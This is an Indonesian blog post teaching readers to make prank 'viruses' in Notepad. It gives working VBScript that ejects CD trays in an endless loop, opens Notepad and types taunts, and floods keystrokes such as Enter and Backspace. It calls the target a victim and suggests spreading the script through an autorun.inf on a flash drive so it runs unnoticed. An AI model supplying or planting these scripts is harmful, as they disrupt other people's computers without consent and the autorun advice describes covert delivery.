Ngerjain Temen Memakai Virus Buatan Sendiri

Lama juga rasanya kita tidak berbicara tentang komputer. Ya, dikarenakan banyaknya program pemberian lisensi gratis pada bulan ini, jadi terpaksa kami memutuskan untuk off sementara dan lebih mendahulukan program giveaway tadi, mengingat hal ini biasanya hanya berlangsung dalam beberapa hari saja. Nah, mumpung ada sedikit kesempatan di hari Minggu ini, saya ingin berbagi sebuah tips yang mungkin menurut Anda “nakal” atau bahkan “menjengkelkan” (jika itu terjadi pada Anda, hehehe… :D), yaitu bagaimana cara membuat virus melalui Notepad ?

Caranya, karena tadi dikatakan membuat virus melalui Notepad, maka buka tuh Notepad dan pasang script virus berikut didalamnya.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kalau sudah, simpan file tadi dengan nama apapun asalkan ekstensinya harus.vbs. Nah, nanti ketika ‘korban’ menjalankan file tadi (klik 2x), akibatnya CD/DVD akan terbuka dan tertutup dengan sendirinya tanpa henti.
Kemudian cara menghentikan virus ini, ialah dengan menekan tombol CTRL + ALT + DEL, klik tab processes lalu cari wscripts.exe dan matikan. Disini, Anda bisa menambahkan autorun.inf di flasdisk Anda, jadi setiap dicolokin ke komputer korban, maka akan otomatis virus ini dijalankan.

Script virus .vbs lain :

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "L"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "G"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "e"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "j"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
wscript.sleep 5000
loop

Cara simpan filenya sama saja dengan diatas, hanya saja ketika file dijalankan otomatis membuka Notepad dan mengetik “KapokLuGuaKerjain!”

Script ini akan membuat user terus mengetikkan kata2 “Selamat! Komputer Anda Berhasil di infeksi.”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Selamat! Komputer Anda Berhasil di infeksi."
loop

Kemudian untuk membuat user terus – menerus menekan tombol “Enter”.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Untuk terus – terusan menekan tombol “Backspace”.

MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop